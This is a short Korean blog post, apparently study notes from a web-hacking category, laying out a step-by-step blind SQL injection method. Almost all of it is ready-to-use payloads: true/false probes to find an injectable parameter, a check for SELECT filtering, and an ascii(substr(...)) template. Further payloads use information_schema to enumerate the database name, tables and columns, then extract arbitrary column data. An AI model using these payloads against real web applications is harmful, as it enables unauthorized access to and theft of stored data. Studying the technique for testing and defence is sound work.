[SQL Injection] Blind SQL Injection

2024. 6. 6. 17:01정보보안 및 해킹/웹 해킹

사용 조건

SQL Injection이 발생하는 모든 곳

 

문법

' and (ascii(substr((__SQL__),[index],[count])) > 0) and '1'='1

 

필수 요소

SQL Injection이 일어나는 모든 곳에서 가능하나, 속도가 느리기 때문에 맨 마지막으로 미뤄둘 것을 당부한다.

 

PROCESS

 

1. SQL Injection Point 찾기

참인 조건

' and '1'='1

거짓 조건

' and '1'='2

의 결과가 다르게 나오면 해당 문구가 바로 SQL 쿼리문에 들어가고 있다는 증거이므로 SQL Injection이 가능함을 알 수 있음

 

2. SELECT 문구가 필터링 되고있는지 + 참과 거짓 문구의 결과 차이 확인

참인 조건

' and ((select 'test') = 'test') and '1'='1

거짓 조건

' and ((select 'test') = 'test') and '1'='2

혹은

' and ((select 'test') = 'nottest') and '1'='1

이런 식으로 테스트 가능

 

3. 공격 Format 제작

substr으로 string을 자르고 index는 1부터 시작

ascii로 ascii코드로 변환

' and (ascii(substr((__SQL__),[index],[count])) > 0) and '1'='1

0보다 큰지를 묻는다면, 존재하는지를 묻는다는 의미

 

4. DB 이름 찾기

' and (ascii(substr((SELECT Database()),[index],[count])) > 0) and '1'='1

 

5. TABLE 이름 찾기

Limit를 사용하여 한 행씩 잘라서 확인하기

' and (ascii(substr((select table_name from information_schema.tables where table_schema='DB이름' limit [index],[count]),[index],[count])) > 0) and '1'='1

 

6. COLUMN 이름 찾기

' and (ascii(substr((select column_name from information_schema.columns where table_name='테이블이름' limit [index],[count]),[index],[count])) > 0) and '1'='1

 

7. DATA 추출

' and (ascii(substr((select [컬럼이름] from [테이블명] limit [index],[count]),[index],[count])) > 0) and '1'='1